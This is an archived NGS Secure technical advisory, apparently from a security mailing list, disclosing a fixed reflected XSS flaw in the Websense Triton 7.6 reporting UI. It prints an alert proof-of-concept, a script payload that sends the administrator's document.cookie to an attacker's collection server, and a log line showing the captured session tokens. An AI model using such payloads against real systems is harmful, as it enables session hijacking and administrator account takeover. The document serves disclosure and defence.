[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

NGS00137 Technical Advisory: Websense Triton 7.6 - reflected XSS in report management UI

Name: Websense (Triton 7.6) reflected XSS in report management UI 
Release Date: 30 April 2012
Reference: NGS00137
Discoverer: Ben Williams <ben.williams@xxxxxxxxxxxxx>
Vendor: Websense
Vendor Reference: 
Systems Affected: 
Risk: Medium
Status: Fixed

Discovered: 24 October 2011
Released:  2 November 2011
Approved:  2 November 2011
Reported:  2 November 2011
Fixed:  2 December 2011
Published: 30 April 2012

Websense (Triton 7.6) is prone to reflective XSS in the report management UI enabling capture authentication session tokens.

The exploit would require an attacker to:

 - Know the IP address or hostname of the Websense system
 - Get the administrator to click on a crafted URL
 - The exploit will work with the administrator logged out

Technical Details

Websense (Triton 7.6) reflective XSS in report management UI

Websense is one of the world's best known web-filter products.

The "Triton" administrative UI allows administration of multiple Websense solutions, including their Email, Web, and DLP products


Websense (Triton 7.6) is prone to reflective XSS in the report management UI enabling capture of authentication session tokens.

This allows an attacker to gain access to the reporting UI (by session hijacking) or run arbitrary javasript in the context of the administrators browser and the Websense administrative UI.

Affected URL:


Pop-up showing some session-cookies";><script>alert(document.cookie)</script>&section=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360

Send the current session-cookies to a credentials-collection server:";><script>document.location=unescape(""%2bencodeURIComponent(document.cookie))</script>&section=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360

From the collection servers web logs: - - [24/Oct/2011:12:30:00 +0100] "GET/WS_ADMIN_WEB_CONFIG=%22%7BuiLanguage=en,%20baseUrl-https=,%20baseUrl-http=,%20loginPageUrl=login/pages/loginPage.jsf,%20keepAliveUrl=login/images/spacer.gif,%20helpBaseURL=;%20WS_JAVA_SESSION_INFO=%22{id=1A8736BC74BC6521CA63D1583B96A8E8,%20ttl=1800}%22;%20WS_SHARED_SESSION=%22{uid=YWRtaW4=,%20userRoles=664332B2D4D7ECEBBC6DC1FA92D160BFDC102E4B2F8CC983B712A0D24B631F5CF029F7967E8C92C3F7193EABE67F652A,%20domain=,%20sharedSesId=7062414478986846786,%20userType=local}%22;%20WSIRPT=timestamp%3D1319455805
HTTP/1.1" 404 802 "-" "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:6.0.2)
Gecko/20100101 Firefox/6.0.2"

The cookies can be added to the attackers browser and used to login to the report area; manipulate reports, report schedules, etc.

The main concern however is the ability for the attacker to run javascript in the context of the administrators browser and the administrative UI.

Though there does appear to be a session token specified in the url requests (a434cf98f3a402478599a71495a4a71e) this can be changed without affecting the exploit's effectiveness.

The exploit will also work with the administrator logged-out - so there seem to be some session-management issues.

Fix Information
This issue is addressed in Hotfix 24, which can be downloaded at:

NGS Secure Research